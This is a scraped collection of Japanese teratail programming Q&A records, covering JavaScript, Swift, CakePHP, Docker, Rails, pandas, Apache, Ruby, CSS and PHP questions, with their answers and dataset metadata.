\n\n\n\n\n---\n\n\n**追記:** \n\n\n未テストですが、書くならこういう感じという参考になれば幸いです。 \n\n`for` の中の `var` を削除したのは、`for` は `var` ではスコープを持たないためです。(letなら意図通りになるかも) \n\n\n\n```\nvar $body = document.querySelector( 'body' );\n// tableをbodyに追加\n$body.insertAdjacentHTML( 'beforeend', '<table border=\"3\" id=\"my\\_table\"><tr bgcolor=\"Aqua\"><th>DUMY SERVER</th><th>STATUS</th></tr></table>' );\nvar $table = document.getElementById( 'my\\_table' );\nvar ip = 10;\nvar i, url, server;\nfor ( i = 1 ; i <= max ; i++) {\n ip++;\n url = base_url + ip;\n server = 'SAVEDUMY' + i;\n ( function () {\n var xhr = new XMLHttpRequest();\n xhr.open( 'GET', url, true );\n xhr.onreadystatechange = function() { // ここの中で server などの変数を使うために即時関数を利用しています。\n var result, bg_color;\n console.log( xhr.status );\n if ( xhr.readyState === 4 && xhr.status === 200 ) {\n result = 'OK';\n bg_color = 'Lime';\n } else {\n result = 'NG';\n bg_color = 'Red';\n }\n // tableに行を追加\n $table.insertAdjacentHTML( '<tr><td>' + server + '</td><td style=\"background-color:' + bg_color + ';\">' + result + '</td></tr>' );\n };\n xhr.send();\n } )( url, server ); // 即時関数\n}\n```\n\n【JavaScriptのスコープとクロージャとletステートメント - Qiita】 \n\n<http://qiita.com/yaegaki/items/704f547afca7a09ad131> \n\n\n【JavaScriptで即時関数を使う理由 - Qiita】 \n\n<http://qiita.com/katsukii/items/cfe9fd968ba0db603b1e> \n\n\n【document . writeはやめて、innerHTMLを使おう | Web Developers Antenna ?ウェブ開発者アンテナ? [W'ANEB]】 \n\n<http://web.antenna.work/innerhtml/> \n\n\n【innerHTMLの代わりにinsertAdjacentHTML()を使ってみようか。(DOMおれおれAdvent Calendar 2015 ? 01日目) | Ginpen.com】 \n\n<http://ginpen.com/2015/12/01/insertadjacenthtml-instead-of-innerhtml/> \n\n", "name": "", "is_accepted": false } ]
b2e9d60039fee6f5c914df7294499c96
### 前提・実現したいこと SwiftでDictionaryを宣言し、ターミナルで出力すると warningが発生します。 これは何が問題となっているのでしょうか。 ### 発生している問題・エラーメッセージ test.swift:7:7: warning: expression implicitly coerced from 'Int?' to Any print(numberOfTires["車"]) test.swift:7:20: note: provide a default value to avoid this warning print(numberOfTires["車"]) test.swift:7:20: note: force-unwrap the value to avoid this warning print(numberOfTires["車"]) test.swift:7:20: note: explicitly cast to Any with 'as Any' to silence this warning print(numberOfTires["車"]) Optional(4) ### 該当のソースコード ``` var numberOfTires:[String: Int] = ["車":4,"バイク":2,"船":0] print(numberOfTires["車"]) ### version Swift version 3.0.2
Swift Dictionary のwarningについて =============================
teratail.com
2021.17
[ { "text": "Swift3からだったと思いますが、print文でオプショナル型を表示しようとすると、そのwarningが出るようになりました。そのままで気にしなくてもいいですが、 \n\n\n\n```\nprint(numberOfTires[\"車\"] ?? \"(nil)\")\n```\n\nなどとして、非オプショナル型にしてやればいいです。 \n\n\n`??`については下記を参照のこと。 \n\n[Swift の ?? ってなんだっけ](https://qiita.com/toshi0383/items/9965bb5e1c8b63fca695) \n\n", "name": "", "is_accepted": true } ]
d2731d837195e328f8b748cffc2a2042
初心者で恐縮ですがよろしくお願いします。 モデルを使用しないフォームで受け取った、ネストした値をバリデーションしたいのですが、うまくいきません。 こちらを参考にしています。 Form https://book.cakephp.org/3.0/ja/views/helpers/form.html バリデーション https://book.cakephp.org/3.0/ja/core-libraries/validation.html モデルのないフォーム https://book.cakephp.org/3.0/ja/core-libraries/form.html テストとしてモデルのないフォームのコード↓をそのままコピーし、 ``` //コントローラ namespace App\Controller; use App\Controller\AppController; use App\Form\ContactForm; class ContactController extends AppController { public function index() { $contact = new ContactForm(); if ($this->request->is('post')) { if ($contact->execute($this->request->getData())) { $this->Flash->success('すぐにご連絡いたします。'); } else { $this->Flash->error('フォーム送信に問題がありました。'); } } $this->set('contact', $contact); } } --------------------------------- // src/Form/ContactForm.php の中で namespace App\Form; use Cake\Form\Form; use Cake\Form\Schema; use Cake\Validation\Validator; class ContactForm extends Form { protected function \_buildSchema(Schema $schema) { return $schema->addField('name', 'string') ->addField('email', ['type' => 'string']) ->addField('body', ['type' => 'text']); } protected function \_buildValidator(Validator $validator) { return $validator->add('name', 'length', [ 'rule' => ['minLength', 10], 'message' => '名前は必須です' ])->add('email', 'format', [ 'rule' => 'email', 'message' => '有効なメールアドレスが要求されます', ]); } protected function \_execute(array $data) { // メールを送信する return true; } } //index.ctp echo $this->Form->create($contact); echo $this->Form->control('name'); echo $this->Form->control('email'); echo $this->Form->control('body'); echo $this->Form->button('Submit'); echo $this->Form->end(); ``` バリデーションのページの「バリデータをネストする」の項目にある↓のコードを参考にして、 ``` $validator = new Validator(); $validator->add('title', 'not-blank', ['rule' => 'notBlank']); $commentValidator = new Validator(); $commentValidator->add('comment', 'not-blank', ['rule' => 'notBlank']); // ネストされたバリデータをつなげる $validator->addNestedMany('comments', $commentValidator); // ネストされたバリデータからのエラーを含むすべてのエラーを取得する $validator->errors($data); ``` \_buildValidatorの部分を以下のように書き換えました。 ``` protected function \_buildValidator(Validator $validator) { $nested_data = $validator; $nested_data->add('name', 'length', [ 'rule' => ['minLength', 10], 'message' => '名前は必須です' ])->add('email', 'format', [ 'rule' => 'email', 'message' => '有効なメールアドレスが要求されます', ]); return $validator->addNestedMany('a', $nested_data); } ``` テンプレートは以下のようになっています。 ``` <?=$this->Form->create($mytest) ?> <?=$this->Form->control('a.name') ?> <?=$this->Form->control('a.email') ?> <?=$this->Form->control('a.body') ?> <?=$this->Form->button('Submit') ?> <?=$this->Form->end() ?> ``` これでフォームに値を書いて送信するとメールアドレスに@が抜けたときのみjavascriptによる注意が出ますが、他は、不正な場合は正しいエラーコメントが出ず、正しい場合はバリデーションチェックが常にfalseとなった状態です。 Formクラスに\_\_debugInfoというメソッドがあったので出してみました。 ``` [ '\_schema' => [ '\_fields' => [ 'name' => [ 'type' => 'string', 'length' => null, 'precision' => null ], 'email' => [ 'type' => 'string', 'length' => null, 'precision' => null ], 'body' => [ 'type' => 'text', 'length' => null, 'precision' => null ] ] ], '\_errors' => [ 'a' => [ '\_nested' => 'The provided value is invalid' ] ], '\_validator' => [ '\_presenceMessages' => [], '\_allowEmptyMessages' => [], '\_useI18n' => true, '\_providers' => [ (int) 0 => 'default' ], '\_fields' => [ 'name' => [ 'isPresenceRequired' => false, 'isEmptyAllowed' => false, 'rules' => [ (int) 0 => 'length' ] ], 'email' => [ 'isPresenceRequired' => false, 'isEmptyAllowed' => false, 'rules' => [ (int) 0 => 'format' ] ], 'a' => [ 'isPresenceRequired' => false, 'isEmptyAllowed' => false, 'rules' => [ (int) 0 => '\_nested' ] ] ] ] ] ``` モデルを使用しない場合formクラスを継承してコントローラ名+Formクラスを作ると思いますが、その場合でもネストされた値の検証は可能でしょうか? よろしくお願いします。
モデルレスフォーム ネストしたデータのバリデーション ==========================
teratail.com
2021.25
[ { "text": "ネストしたデータがa.nameのように1:1の関係の場合、addNestedManyではなくaddNestedです。 \n\n\nなお、addNestedManyは、1:Nの関係の場合に使用するものなので、以下のようなフォームの場合に使うものだと思います。 \n\n\n\n```\n<?=$this->Form->create($mytest) ?>\n<?=$this->Form->control('a.0.name') ?>\n<?=$this->Form->control('a.0.email') ?>\n<?=$this->Form->control('a.0.body') ?>\n<?=$this->Form->control('a.1.name') ?>\n<?=$this->Form->control('a.1.email') ?>\n<?=$this->Form->control('a.1.body') ?>\n<?=$this->Form->button('Submit') ?>\n<?=$this->Form->end() ?>\n```\n\n※実際に試したことはありません...\n\n", "name": "", "is_accepted": true } ]
770ae6c196ef588e80249f5dd5c74bc2
経緯 -- ローカル環境にwordpressの開発環境を用意するとのことで、 会社で用意しているdockerのパッケージを使用して、 準備したのですがlocalhostに接続ができませんでした。。。 以前別の環境を用意する際に、 同じパッケージを利用して、指示通りの手順で設定し、 問題なくできたので今回も同様の手順でやってみたものの接続できず。。。 パッケージを用意してくれた上司に聞いてもわからず... 環境 -- MacOS High Sierra(10.13.6) Docker 18.06.1-ce-mac73 (26764) 質問内容 ---- **パッケージの中の階層** [![イメージ説明](https://teratail.storage.googleapis.com/uploads/contributed_images/803355c7477cbffec3dcebd856446a94.png)](https://teratail.storage.googleapis.com/uploads/contributed_images/803355c7477cbffec3dcebd856446a94.png) ``` version: "2" services: #app: # image: centos # Mariadb mariadb: build: ./server/docker/mariadb #volumes\_from: #- app volumes: - ./data/db:/var/lib/mysql restart: always ports: - "4306:3306" networks: - wordpress_network env\_file: .env wordpress: image: wordpress:php7.2-apache ports: - "80:80" - "443:443" depends\_on: - mariadb restart: always environment: WORDPRESS\_DB\_HOST: mariadb:3306 volumes: - ./data/html:/var/www/html - "$PWD/.docker/backup:/tmp/backup" - "$PWD/.docker/log:/tmp/log" networks: - wordpress_network env\_file: .env # 名前付きデータボリューム volumes: db: networks: wordpress\_network: ``` ``` WORDPRESS\_DB\_NAME=wordpress WORDPRESS\_DB\_USER=admin WORDPRESS\_DB\_PASSWORD=pass MYSQL\_RANDOM\_ROOT\_PASSWORD=yes MYSQL\_DATABASE=wordpress MYSQL\_USER=admin MYSQL\_PASSWORD=pass ``` ``` FROM MariaDB:10.1 MAINTAINER ●●● COPY ./conf.d/my.cnf /etc/mysql/conf.d/zzz-my.cnf #COPY ./docker-entrypoint-initdb.d /docker-entrypoint-initdb.d # treat Windows RUN chmod 644 /etc/mysql/conf.d/* ``` ``` [mysqld] character\_set\_server = utf8mb4 collation\_server = utf8mb4_unicode_ci log-error = /dev/stdout log\_queries\_not\_using\_indexes = true general\_log = true general\_log\_file = /dev/stdout slow\_query\_log = true slow\_query\_log\_file = /dev/stdout long\_query\_time = 1.0 performance\_schema = false table\_definition\_cache = 400 ``` 上記の状態で、設置している階層に行き、ターミナルにて docker-compose build して docker-compose up -d を行い http://localhost:8080/ にアクセスしても繋がりません。(以前はこれで繋がりました。。。) docker ps にてコンテナの挙動を確認すると、 mariadb側がずっとRestarting (1)となっていて、これが原因じゃないかと思うのですが、解決方法がわかりません。 申し訳ございませんが、原因に心当たりがある、またはご存知の方がいらっしゃいましたら お力を貸していただけませんでしょうか? どうぞよろしくお願いいたします。
docker-composeでローカル環境にwordpressを設定してもlocalhostに繋げない。 ====================================================
teratail.com
2020.34
[ { "text": "mariadbが再起動を繰り返しているようですので \n\nhttps://help.directadmin.com/item.php?id=702 \n\nこれを参考に \n\n`~/work/mari/data/db $ sudo mv aria_log_control aria_log_control.move` \n\nこんな感じで`aria_log_control`をリネームし、再びdocker-compose upをしたところできました。 \n\n\nwordpressコンテナが何度かmaridbコンテナにリトライしているようですので、少し待ってあげる必要があります。 \n\n\nなお余談ですがDockerfileの \n\n`FROM MariaDB:10.1` \n\nは \n\n`FROM mariadb:10.1` \n\nにしました(当方の環境ではエラーになってしまったので) \n\nそれ以外は質問内容に掲げられているファイルと同じ内容です。 \n\n", "name": "", "is_accepted": true } ]
fd05f204c5c3d63e2bbc1f7abd851009
■解決したいこと showページの一部分に対応履歴の入力・一覧表示の欄を作りたいと思っています。 見た目はまだ整えていないのでご容赦ください。 [![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/78c98b376be47e89e6014f4f95fdf838.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/78c98b376be47e89e6014f4f95fdf838.png) save時にコントローラーの処理は上手く流れるのですが、DBには保存されてなく一覧表示されません。 またsave後、リダイレクトのurlをshowページにしてるのですが、indexページにリダイレクトされてしまいます。 原因を教えていただきたく思います。 ■ルーティング ``` get 'clients/(:id)', to:'clients#show', as: :client_show post 'clients/(:id)', to:'clients#staff\_memo\_create', as: :staff_memo ``` ■コントローラー clients\_controller.rb ``` def show @client = Client.find_by(id: params[:id]) end def staff\_memo\_create @client = Client.find_by(id: params[:client\_id]) if @client.save(staff_memo) flash[:success] = "登録が完了しました" redirect_to client_show_url and return else flash[:danger] = "入力に不備があります" render "clients/show" end end private def staff\_memo params.permit(:staff\_memo\_date, :staff\_memo) end ``` ■viewページ clients#show.html.erb ``` <h5 class="display-4">対応履歴</h5> <%= form\_with url: staff\_memo\_path(client\_id: @client.id), method: :post do |f| %> <%= f.date\_field :staff\_memo\_date %> <%= f.text\_area :staff\_memo %> <%= f.submit %> <% end %> <table class="table table-hover table-responsive"> <thead class="thead"> <tr> <th class="staff\_memo\_date">日付</th> <th class="staff\_memo">内容</th> </tr> </thead> <tbody> <tr> #ここに上で入力されたstaff\_memo\_date, staff\_memo内容を表示したい <td scope="row"><%= @client.staff\_memo\_date.present? ? @client.staff\_memo\_date : "-" %></td> <td scope="row"><%= @client.staff\_memo.present? ? @client.staff\_memo : "-" %></td> </tr> </tbody> </table> ``` ■log ``` Started POST "/clients?client\_id=1" for ::1 at 2019-11-17 17:30:03 +0900 Processing by ClientsController#staff_memo_create as JS Parameters: {"utf8"=>"✓", "authenticity\_token"=>"a0H7tSfjXcColH9O7iAwVB4hcsWSh/jHzdJOOTcCI9j2gbL1/s5ZNhzqYjD1QddwKZwqZnaIoB2JXOL6ARwivQ==", "staff\_memo\_date"=>"2019-11-01", "staff\_memo"=>"test", "commit"=>"Save ", "client\_id"=>"1"} Client Load (0.1ms) SELECT "clients".* FROM "clients" WHERE "clients"."id" = ? LIMIT ? [["id", 1], ["LIMIT", 1]] ↳ app/controllers/clients_controller.rb:712 Unpermitted parameters: :utf8, :authenticity_token, :commit, :client_id (0.1ms) begin transaction ↳ app/controllers/clients_controller.rb:714 (0.2ms) commit transaction ↳ app/controllers/clients_controller.rb:714 Redirected to http://localhost:3000/clients Completed 200 OK in 8ms (ActiveRecord: 0.4ms) Started GET "/clients" for ::1 at 2019-11-17 17:30:03 +0900 Processing by ClientsController#index as HTML Rendering clients/index.html.erb within layouts/application Rendered clients/_search.html.erb (2.7ms) ```
Rails : save時にコントローラーの処理はsuccessとなるがDBに保存されない =============================================
teratail.com
2020.10
[ { "text": "from\\_withにlocal: trueを追記 \n\n\n\n```\n<%= form_with url: staff_memo_path(client_id: @client.id), method: :post, local: true do |f| %>\n```\n\ncontrollerを下記のように変更 \n\n\n\n```\nif @client.update(staff_memo)\n flash[:success] = \"登録が完了しました\"\n redirect_back(fallback\\_location: client_show_url)\nelse\n```\n", "name": "", "is_accepted": true } ]
8058b1651320dd25fc3a267efc624e6d
<背景> 企業データが入ったtxt fileを使ってデータ分析をしたいと考えています。 そのためにtxt fileに入った企業データをdataframeで表示しようとしています。 <環境> Mac / Python 3.6.7 <問題> pandasでデータが入ったtxt fileを ``` import pandas as pd data = pd.read_table('companies.txt') data ``` 開こうとすると, UnicodeDecodeError: 'utf-8' codec can't decode byte 0xa0 in position 25: invalid start byte と表示されてしまいます。 <試した解決策> 1) utf-8を指定 ``` data = pd.read_table('companies.txt', encoding="utf-8") data ``` 2)stack over flowで見かけた回答を試す(<https://stackoverflow.com/questions/12468179/unicodedecodeerror-utf8-codec-cant-decode-byte-0x9c>) ``` data = pd.read_table('companies.txt', errors='replace') data = pd.read_table('companies.txt', errors='ignore') ``` 他にも一通りネットで見かけるものを試しましたが、うまくいきません。 お手数ですがどなたかわかる方、ご教授お願い致します ---追記 data = pd.read\_table('companies.txt', engine='python')を実行すると、このように表示されますがこれは正しいdataframeの形なのでしょうか? [![](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/a588f4a10dd6df86db89b608491557f0.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/a588f4a10dd6df86db89b608491557f0.png)
pandas でtxt ファイルを開こうとすると'utf-8' codec can't decode byte 0xa0 と表示される ===================================================================
teratail.com
2019.51
[ { "text": "そのStackOverFlow内の回答に \n\n\n\n```\ndata = pd.read_table('companies.txt', engine='python')\n```\n\n \n\nというものがあって私の環境ではこれでエラー出なかったのですがどうでしょうか。\n\n", "name": "", "is_accepted": true } ]
d42f1456c25807d1feb27b49d3c4e87f
現在、Linux上でApache2.2とGlassfish4.1を稼働させております。 Apacheは80番ポート、Glassfishは8080番、管理コンソールが4848番で動いています。 また、Glasfishはクラスタ構成のため、管理コンソールはhttpsで動作しております。 この状態で、Glassfishの8080番ポートと4848番ポートに外部からアクセスできるようにするため、 mod\_proxy\_httpを利用してリバースプロキシを下記のように設定しました。 <IfModule mod\_proxy.c> ProxyRequests Off <Proxy *> Order deny,allow Allow from all </Proxy> <Location "/glassfish/"> ProxyPass http://127.0.0.1:8080/ ProxyPassReverse http://127.0.0.1:8080/ </Location> <Location "/managed-fish/"> ProxyPass https://127.0.0.1:4848 ProxyPassReverse https://127.0.0.1:4848 </Location> </IfModule> この状態で外部クライアントのWEBブラウザで http://myserver.com/glassfish/ でアクセスすると、8080番ポートのWebサイトは正常に表示されますが、管理コンソールである http://myserver.com/managed-fish/ にアクセスするとInternal Server Errorが発生してしまいます。 このInternal Error Logにならずに正常に管理コンソールに外部からアクセスする方法をお教えいただけないでしょうか? 以下、httpのerror\_logになります。 [Fri Jun 17 00:40:54.422151 2016] [ssl:error] [pid 7160] [remote 127.0.0.1:4848] AH01961: SSL Proxy requested for myserver.com:80 but not enabled [Hint: SSLProxyEngine] [Fri Jun 17 00:40:54.422293 2016] [proxy:error] [pid 7160] AH00961: HTTPS: failed to enable ssl support for 127.0.0.1:4848 (127.0.0.1)
Apache-Glassfish連携方法 ====================
teratail.com
2019.47
[ { "text": "エラーメッセージに、ヒントが書かれていますが、Apacheでhttpsをリバースプロキシする場合はmod\\_sslとSSLProxyEngine onの設定が必要です。 \n\n\nmod\\_ssl を使えるようにして、 \n\n\n\n```\n<Location \"/managed-fish/\">\nSSLProxyEngine on\nProxyPass https://127.0.0.1:4848 \nProxyPassReverse https://127.0.0.1:4848 \n</Location>\n```\n\n \n\nのように SSLProxyEngine を追加してください。 \n\n", "name": "", "is_accepted": true } ]
07cd7ee9529a175a86ffe971d6b9a9b4
**Rubyでメソッドが追加されたら処理をしたいのですが、** どなたかこれを実現する方法を教えていただけないでしょうか?
Ruby メソッドが追加されたら処理をしたい ======================
teratail.com
2020.05
[ { "text": "**クラスに対して、メソッドが追加された時に呼び出されるメソッドがあります。**\n \n\n \n\n```\nModule#method_added\n```\nというメソッドです。 \n \n\n \nこのメソッドをオーバーライドすることで、そのクラスやモジュールに対する\n \nメソッドの追加をフックすることができます。\n \n\n```\n Module#method_addedは、引数として追加されたメソッド名が、渡されます。 \n```\n \n", "name": "", "is_accepted": true } ]
6dc20f3a3136164e092b13c63c0793e5
PF作成中の初学者です。 サイトの方が一通り完成し、それまでサイト公開に使っていたherokuからawsに切り替えるべくデプロイ方法を模索しています。 githubからクローンして、docker-compose up -dするとブラウザでも手持ちのスマホでもサイトにアクセスできる(http://〇〇〇.〇〇〇.〇〇←この末尾に:80やら:3000やら打たなくてもアクセスできる)ので、本番環境で公開はできているのかな?と思うのですが、docker-compose stopするとアクセスできなくなります。 この状況にかなり違和感があり、デプロイできているのかいないのかがよくわからないです。 圧倒的知識不足で恐縮なのですが、**以下に書く私の認識が合っているかどうかお聞きしたいです。** ・dockerコンテナごとec2サーバーに移してデプロイする今回のような場合、コンテナが常時起動していることをもってデプロイ完了となる。 ・今回の問題は、ec2起動時にdockerコンテナを自動起動するような設定がなされていないために起こっている。 ・もしコンテナを自動起動する設定ができれば、あとはawsのサイトからec2インスタンスを再起動しさえすれば常時サイトにアクセス可能となる。 --- 「ec2起動時にdockerコンテナを自動起動するような設定」というのは、 [無料!かつ最短?で Ruby on Rails on Docker on AWS のアプリを公開するぞ。](https://qiita.com/at-946/items/1e8acea19cc0b9f31b98) こちらのサイトの2-5、「Docker環境を整える」で紹介されている ``` [myuser@xxx.xxx.xxx.xxx ~]$ sudo chkconfig docker on #EC2起動時にDockerを自動で立ち上げる ``` このコマンドを想定しています。これを打つと、次の結果が返ってきます。これはエラーなんでしょうか。 ``` Note: Forwarding request to 'systemctl enable docker.service'. ``` 色々調べた末に次のコマンドを実行すると結果が何も出なかったため、設定できたかと思いec2再起動してブラウザで確認するとやはり502 Bad gatewayと出て、行き詰っている状況です。 ``` [xxx@ip ~ home-study]$ sudo systemctl enable docker.service ``` 他にお伝えするべき情報が抜け落ちていたらすみません。よろしくお願いします。 --- ``` FROM ruby:2.5.3 RUN apt-get update -qq && \ apt-get install -y build-essential \ libpq-dev \ nodejs \ vim RUN apt-get update && apt-get install -y unzip && \ CHROME\_DRIVER\_VERSION=`curl -sS chromedriver.storage.googleapis.com/LATEST\_RELEASE` && \ wget -N http://chromedriver.storage.googleapis.com/$CHROME\_DRIVER\_VERSION/chromedriver\_linux64.zip -P ~/ && \ unzip ~/chromedriver\_linux64.zip -d ~/ && \ rm ~/chromedriver\_linux64.zip && \ chown root:root ~/chromedriver && \ chmod 755 ~/chromedriver && \ mv ~/chromedriver /usr/bin/chromedriver && \ sh -c 'wget -q -O - https://dl-ssl.google.com/linux/linux\_signing\_key.pub | apt-key add -' && \ sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list' && \ apt-get update && apt-get install -y google-chrome-stable RUN apt-get install -y vim RUN mkdir /myapp WORKDIR /myapp ADD Gemfile /myapp/Gemfile ADD Gemfile.lock /myapp/Gemfile.lock RUN gem install bundler RUN bundle install ADD . /myapp RUN mkdir -p tmp/sockets RUN mkdir -p tmp/pids ``` docker-compose.yml↓ ``` version: '3' services: db: image: mysql:5.7 environment: MYSQL\_ROOT\_PASSWORD: password MYSQL\_USER: user MYSQL\_PASSWORD: 1234 MYSQL\_DATABASE: myapp_db volumes: - mysql-data:/var/lib/mysql ports: - "4306:3306" app: build: . command: bundle exec puma -C config/puma.rb volumes: - .:/myapp - public-data:/myapp/public - tmp-data:/myapp/tmp - log-data:/myapp/log web: build: context: containers/nginx volumes: - public-data:/myapp/public - tmp-data:/myapp/tmp ports: - 80:80 volumes: mysql-data: public-data: tmp-data: log-data: ``` database.yml↓ ``` default: &default adapter: mysql2 encoding: utf8 pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %> username: <%= ENV.fetch('MYSQL_USER') { 'root' } %> password: <%= ENV.fetch('MYSQL_PASSWORD') { 'password' } %> host: db development: <<: *default database: myapp\_development test: <<: *default database: myapp\_test production: <<: *default adapter: mysql2 encoding: utf8mb4 charaset: utf8md4 collation: utf8mb4\_general\_ci host: <%= Rails.application.credentials.rds[:host] %> database: <%= Rails.application.credentials.rds[:database] %> username: <%= Rails.application.credentials.rds[:username] %> password: <%= Rails.application.credentials.rds[:password] %> ```
AWSへのrails on Dockerアプリのデプロイは、何をもって完了となる? =========================================
teratail.com
2020.40
[ { "text": "中で何をやっているのかわかりませんが、ソースを乗せただけで動かしてなかったらアクセスできないのは当然です。 \n\n\n\n> \n> githubからクローンして、docker-compose up -dする \n> \n> \n> \n\n\nこれはAWS上のEC2インスタンスで、ということでしょうか。 \n\n\n\n> \n> docker-compose stopするとアクセスできなくなります \n> \n> \n> \n\n\nこれはアプリケーションを動かしているコンテナを止めているのだから、当然アクセスできなくなりますね。 \n\n動いているものを止めているのだから、正しい挙動です。 \n\n\n\n> \n> Note: Forwarding request to 'systemctl enable docker.service'. \n> \n> \n> \n\n\n`Note`はエラーメッセージではないですが、注意すべきことです。 \n\n[7.7 シグナルワード](https://www.transwd.com/honyaku-book/book/03_page/7_7.html) \n\nこのメッセージが出ているのは、serviceコマンドは古いコマンドであって現在はsystemctlコマンドによってサービスを管理するからですね。 \n\n古いAmazon LinuxだとRHEL6系だったのでserviceコマンドを使って管理していましたが、Amazon Linux2はRHEL7系でsystemctlコマンド(systemd)に切り替わりました。 \n\nただ、serviceコマンドを使っても内部的にsystemctlコマンドを使って処理してくれているよ、というメッセージです。 \n\nForwarding requestと書いてありますよね。 \n\n\nちなみにここでやっている \n\n\n\n```\nsudo systemctl enable docker.service\n```\n\n \n\nは \n\n\n\n> \n> ec2起動時にdockerコンテナを自動起動するような設定 \n> \n> \n> \n\n\nではなく \n\ndockerの**プロセス**をサーバ起動時に自動起動するための設定です。 \n\nなので、これをやったところでコンテナが自動で立ち上がってくれるわけではありません。 \n\nただしdockerのプロセスが立ち上がっていないとdocker-composeが実行できないと思うので必要なことではあります。 \n\n\nなので、必要なのは`docker-compose up -d`をサーバ起動時に実行してくれるような設定ですね。 \n\nこれをやるなら自分でスクリプトを作ってsystemdに登録する必要があります。 \n\n[Systemdを使ってさくっと自作コマンドをサービス化してみる](https://qiita.com/DQNEO/items/0b5d0bc5d3cf407cb7ff) \n\n\nさて、認識についてですが \n\n\n\n> \n> ・dockerコンテナごとec2サーバーに移してデプロイする今回のような場合、コンテナが常時起動していることをもってデプロイ完了となる。 \n> \n> \n> \n\n\n「デプロイ」自体の定義は配置することなので、どこまでをデプロイとするかによって変わります。 \n\n配置することとともにサーバ上で動いていることを求めているのなら、配置後にコンテナを起動させてアクセスができるようになっていることをもって完了とすればよいでしょう。 \n\n現実的には認識されたような見方をすることにはなるでしょう。 \n\n\n\n> \n> ・今回の問題は、ec2起動時にdockerコンテナを自動起動するような設定がなされていないために起こっている。 \n> \n> \n> \n\n\nこれは関係ないです。 \n\n自分で手動でコマンドを打って止めているからです。 \n\n\n\n> \n> ・もしコンテナを自動起動する設定ができれば、あとはawsのサイトからec2インスタンスを再起動しさえすれば常時サイトにアクセス可能となる。 \n> \n> \n> \n\n\nこれ自体は間違ってないですが、デプロイのたびにインスタンスを再起動する必要はないです。 \n\nDockerコンテナの構成について記載がないので細かくはわかりませんが、 \n\n基本的にはDockerコンテナを立て直せばいいだけではないでしょうか。\n\n", "name": "", "is_accepted": true } ]
30d3c3cdef3cc1eb5a13c40c0e15b170
文字の色が変わらないので文字色の変更を教えてほしいです。 HTMLとCSSの階層は同じ階層にあります。。  <!DOCTYPE html> <html lang="ja">     <head>         <meta charset="utf-8">         <title>初めてのHTML</title>         <link rel="stylesheet" href="css/hogehoge.css" type="text/css">     </head>     <body>         <div id="anan">             <p>hogehoge</p>         </div>     </body> </html> ==========css========== @charset "utf-8" p{     color: red; }
htmlでの文字色を変更したいが変わらない =====================
teratail.com
2021.10
[ { "text": "chrome, firefox の開発用の機能を使うと、css の適用状況を調べることができます。\n \n(IE でもできるとおもいますが、普段 Windows を使っていないので詳細は不明)\n \n\n \n参考情報:\n \n- Google Chromeの標準機能「要素の検証」が神すぎてワロタ!! <http://iwaimotors.com/blog/2014/03/chrome_good/>\n \n- Firefoxの要素を調査 <http://beginners-hp.com/element_investigation.html>\n \n\n \nこの機能を使うと、\n \n  teratail の現在ページにある 回答数の数字が赤く表示されているのは\n \n  detail\\_new.css 中のルールが適用されて \"#e9606d\" に色になっている\n \nことがわかったりします。\n \n\n \n今回の質問の場合は、chrome で調べた場合、そもそも hogehoge.css が読み込みエラーになっていることが判明します。\n \n[![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/e13fdbd85be75f65d55e4d49fb9e7af5.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/e13fdbd85be75f65d55e4d49fb9e7af5.png)\n \nそこでおもむろに hogehoge.css を css/hogehoge.css に 場所を移動してみたのですが、文字は赤くなりませんでした。\n \nよくみると css の先頭行が ; で終わっておらず、エラーになっているようです。\n \n[![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/c6dcfa015b12b6a70c1d218b880e7159.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/c6dcfa015b12b6a70c1d218b880e7159.png)\n \nそれを編集すると、無事に赤色表示されました。\n \n[![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/626896d9d90c6137d83d081e012b016b.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/626896d9d90c6137d83d081e012b016b.png)\n \n見た目だけでなく、実際に文字の属性も確認してみました。\n \n[![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/1a71e2704ccb6332afb629e575863a63.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/1a71e2704ccb6332afb629e575863a63.png) \n", "name": "", "is_accepted": true }, { "text": "回答がでているので絶対位置、相対位置の補足\n \n\n \n**絶対位置(絶対パス)**\n \n`C:/test/web/`\n \n`C:/test/web/css/`\n \n`C:/test/`\n \n`C:/`\n \n`http://○○○○.net/hoge.html`\n \n\n \n**相対位置(相対パス)**\n \n`C:/test/web/`を現在位置とすると\n \n\n \n`./`:カレントディレクトリ(現在位置) `C:/test/web/`\n \n`../`:1つ上のディレクトリ            `C:/test/`\n \n`../../`:2つ上のディレクトリ       `C:/`\n \n`./css`:1つ下のディレクトリ         `C:/test/web/css/` \n", "name": "", "is_accepted": false }, { "text": "`href=\"css/hogehoge.css\"`は相対ディレクトリー`css/`に`hogehoge.css`ファイルがあるという意味になります。\n \n`href=\"./hogehoge.css\"`にするか、CSSファイルを`css/`に移動すると適用されると思います。 \n", "name": "", "is_accepted": false } ]
64ca22ddcbe34004a515fce51129a8ea
質問です。 login.phpで入力された情報をsuccess.phpに渡すにはどうすればいいのでしょうか。 この状況で実行して a を入力して送信するとerror.phpに強制的に送られます。success.phpを直接URLで指定しても強制的にerror.phpに送られます。 どなたか教えてください。 ``` //login.php <form method="post" action="decide.php">   ユーザIDを入力してください。<br>   <input name="userid" type="text" style="width:100px"><br><br>   <input type="submit" value="送信"> </form> ``` ``` //decide.php <?php $userid = $_POST['userid']; $userid = htmlspecialchars($userid); if($userid == 'a'){   header("Location: success.php"); } else{   header("Location: error.php"); } ``` ``` //success.php ログインに成功しました! <?php require_once("./decide.php"); print $userid; //error.php <META http-equiv="refresh" content="2; url=login.php"> useridが一致しません<br> 2秒後にログインページに戻ります。 ```
PHPで値を渡す。 =========
teratail.com
2020.10
